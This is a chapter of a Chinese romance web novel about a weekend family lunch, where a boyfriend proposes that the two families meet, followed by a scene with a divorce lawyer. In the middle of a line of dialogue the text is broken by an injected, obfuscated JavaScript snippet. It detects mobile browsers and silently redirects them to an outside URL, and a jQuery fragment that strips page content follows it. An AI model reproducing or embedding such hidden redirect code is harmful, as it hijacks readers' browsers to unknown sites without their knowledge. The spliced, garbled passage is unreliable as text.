许家坐落在城西湿地附近,仿英伦都铎时期风格的排屋,有个玫瑰园的美名。这里不是杭城地段最好的地方,排屋也比不上独栋的居住环境更好,不过许家父母朴素惯了,今后也没有换房子的打算。
小区的环境很清幽,出了门就是湿地,离商场也近,空气好。
他们是八年前搬进这栋房子的,当时许人语十九岁,正在加州上大学,她基本没有在这里住过,回国之后按照许红青女士的要求,每周末都回来,如果顾亭不加班,就跟她一起过来。
江都府离这里有十几公里,许人语懒觉睡到十点半,过来刚好可以吃午饭。
许红青站在院门口等他们,顾亭很客气地跟她打招呼:“阿姨好。”
“小顾,你好。你们是不是早饭也没有吃?餐厅里面有早上蒸的粽子,你们先垫垫肚子,你叔叔今天亲自下厨,等一下就可以吃中午饭了。”
许红青每次见顾亭都很热情,这是许人语的历任男朋友里,她最看好的,家境清白,人也不错,重要的是可以为她女儿定居杭城。
真要说有一点不满意,就是他们回国之后没有住在许家安排好的房子里,许红青一直觉得许人语住的地方离公司太远,会休息不好。
做父母的永远都是站在自己孩子的角度考虑的,许人语早就安慰过妈妈,他们在感情里的付出应该是对等的。
许红青招呼完顾亭,立马去拉许人语的手:“今天中午爸爸烧你喜欢吃的梭子蟹炒年糕,晚上有清蒸湖蟹,再叫爸爸做一个椒盐虾。”
许人语跟着她进门,坐在玄关把鞋子换了:“哪来那么多虾蟹?”
“小阿姨寄过来的。还有一个笋干,你要吃尖椒的还是老鸭煲?”
“尖椒是很辣的那种辣椒吗?”
“尖椒肯定辣的。”
“但是我不要吃鸭肉。”
“那你吃一点笋干好了,这个笋干很鲜的。”
“也行。”
许人语从小就很挑食,这是她外婆带出来的,不爱吃鱼、不爱吃葱、不爱吃猪肉鸭肉、喜欢的蔬菜寥寥无几、吃虾要别人剥......
她十二岁的时候外婆把她送回杭城,特地跟许红青和许父嘱咐了一长串饮食习惯和生活习惯,她姐许天骄那一年刚上大学,在边上阴阳怪气她是娇气包。
许人语换完鞋先去洗了个手,被许父从厨房里赶出来的顾亭正殷勤地把那些菜端到桌上。
许家平时有专门的保姆做饭,一到周末许人语回家,许父就会亲自下厨。
餐桌上放了四副碗筷,许人语看了一眼楼梯口,没人下来,就问:“许天骄跟汤汤呢?”
许红青让她坐下来吃饭:“西南的厂子有点事情,姐姐带汤汤去出差了。骄骄是不是明天的飞机回来?”
许父在给许人语要吃的鸡腿去皮:“对,明天下午四点钟,她都安排好了。”
“你们两个今天晚上就住在这里不要走了,明天她们回来一起吃晚饭。”
许父做的奥尔良烤鸡腿很好吃,去皮之后也很入味,许人语满足地咬了一大口,慢悠悠地开口:“我们今天晚上走,不过夜,许天骄才不想见我。”
许红青跟丈夫对视一眼,接着劝:“你们两个从小就打打闹闹,哪里有什么真仇。”
许人语笑了:“并非从小。”
此话一出,餐桌上两个长辈的脸色都僵住了,纷纷投向她。
许人语出生那年,许红青和许父刚从钢厂辞职,成立了骄创制造,做汽配件供应,夫妻俩又要当财务又要当技术还要做销售,八只手都忙不过来,许人语一出生就被送去外婆家,十二岁才接回身边,这件事在许红青和许父心里,一直是一个过不去的关。
人总是会下意识地回避记忆中伤心的过往,这是一种自我保护机制。
但许人语说这句话并没有别的意思,她只是随口开个玩笑。
意识到戳到二位伤心事,她很识趣地把话题扯开:“我这两天加班加得头都痛了。”
略显生硬的转场,不过许红青和许父立刻顺着这个台阶下来了:“那多吃一点,你们两个平时上班肯定吃也吃不好。”
许红青拿公筷给顾亭夹菜:“小顾,这个梭子蟹炒年糕你多吃一点,是你叔叔的拿手好菜,小语很喜欢的。”
每次一来许家吃饭,顾亭就只有一个角色,被许家长辈热情招待的贵客,他也不需要多言,因为他们关注的重心都在许人语身上。
三言两语说到许人语现在研究做的怎么样,工作顺不顺利之类的,她从善如流地回答,恰到好处地回应父母的关心。
场景好像回到她上初中时,许人语读的是私立初中,虽然每天都回家,但只有周末才能跟父母吃上几顿饭。父母当时就总是问她一周有没有发生什么有意思的事,她连叛逆期都来得很平和,问什么说什么,几乎不生气。
许人语那个时候最爱吃的菜是许父烧的梭子蟹炒年糕。
为了吃这道菜,许人语今天少吃了一点饭,这道菜的精髓在于年糕,要用手指年糕炒,恰好软糯的程度,糅合着蟹的鲜香,非常好吃。
吃完饭许红青端来水果,这个时节最好吃的是石榴和秋月梨,剥开了、削好皮,放在果盘里。
电视里在放无聊的综艺,只是当伴奏听个声音。
“小语,今天晚上你们一定要留下来的,你下个礼拜的生日肯定没空回来过,我跟爸爸已经定好蛋糕了,明天跟姐姐一起过。”
许红青说完,叫许父一起,分别给许人语转了六万六和八万八的红包,这是许人语主要的收入来源。
她从手机里抬起头:“妈妈,你跟爸爸月底能抽出来三天空吗?”
许红青二话不说:“当然可以,怎么了?”
许人语把话抛给顾亭,他正端端正正地坐在边上的单人沙发上,喝许父刚泡好的茶。
他放下茶杯,措辞极其正式:“阿姨叔叔,我父母这个月底回国,他们希望能跟您二位见一面,希望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448231|185194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们有空。”
他正襟危坐,看上去有那么点紧张,许人语觉得有些好笑,但没有笑出声,伸手按了一下他放在膝上的手,示意他安心。
许家父母之前旁敲侧击问过许人语,有关她跟顾亭是否结婚,许人语当时的回答是可以结。
她没有特别喜欢或特别排斥,只要是可以,就是她自愿。
虽然没有明说结婚,但双方家长见面,八字就可以先写上一撇。许红青对于恋爱和结婚的态度不尽相同,结婚是两个家庭的事情,更何况他们是跨国婚姻,要慎重加慎重。
凭借这一年来她对顾亭的观察,暂时没有发现他家庭影射出来的问题。
许红青自认东道主,摆出了十二分的热情:“好的呀,你把你爸爸妈妈的航班信息发给叔叔,我们叫人过去接机,带他们去玩一玩,他们是不是也很多年没有回国了?然后我订一个好一点的餐厅,就杭江饭店好了,顶楼景观也好的,要提前半个月订。嗯,在我们家里也要吃几顿饭的,尝尝你叔叔的手艺。”
许红青的态度在顾亭的意料之中,不过仍感到受宠若惊:“那就辛苦阿姨叔叔了。”
-
闻谦前往新加坡出差五天,回来当天是下午一点落地,行李箱都来不及放回家,有个当事人约他今天下午三点半见面,因为对方第二天就要飞去马尔代夫度假。
他打车到公司门口,推着箱子进电梯,刚好有个外卖员跟他一起进去。
外卖员手里捧了一大束黑金油纸包裹的红色玫瑰,要前往十二楼。
十二楼只有一家同信心理咨询室,这是杭城比较知名的商业心理咨询室,占据一整层的空间,体量已经非常大了。
闻谦和同信除了许人语之外的人都不太熟。
他和许人语也不熟。
他的楼层先到,说声借过出去,无意间看见花束间插着一张卡片,上面是手写字迹:宝贝,二十七岁生日快乐。
原来是情侣。
他并不在意地收回视线出去。
闻谦稍微收拾了一下,去会议室等待当事人,对方正陷入一场跨境财产分割案的纠纷,前夫以她在离婚期间大额消费奢侈品为证据,诉告她恶意消耗财产,主张她应该在离婚协议中少分或不分财产。
现在的证据证明她确实存在大额消费品的行为,但是否定义为恶意消耗财产尚且存疑。
女人不慌不忙,称对闻律师有百分百的信心。
闻谦没有将话说满:“我会在法律许可范围内,尽量保障您的权益。”
“这样就最好了。”女人将额上的墨镜往下压,拎着包起身,“接下来辛苦你了,闻律师。”
处理完工作上的事,他才开始回复私人信息,黎成二十分钟之前约他去打球,说给他找了一个搭档。
闻谦:不需要搭档。
黎成:人都约好了,你别要求那么多,二打二多好玩啊。
闻谦:几点?
黎成:六点,别迟到。